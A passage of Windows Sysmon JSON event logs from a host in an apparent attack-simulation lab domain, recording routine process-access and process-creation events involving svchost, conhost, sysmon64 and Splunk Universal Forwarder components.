C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C0-5F2D-0000-0010B3A90500}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C0-5F2D-0000-0010B3A90500}","TargetProcessId":"4844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.025\r\nProcessGuid: {90617006-40C1-5F2D-0000-001082AB0500}\r\nProcessId: 4764\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.025","ProcessGuid":"{90617006-40C1-5F2D-0000-001082AB0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-001082AB0500}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-001082AB0500}","TargetProcessId":"4764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-001082AB0500}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-001082AB0500}","TargetProcessId":"4764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 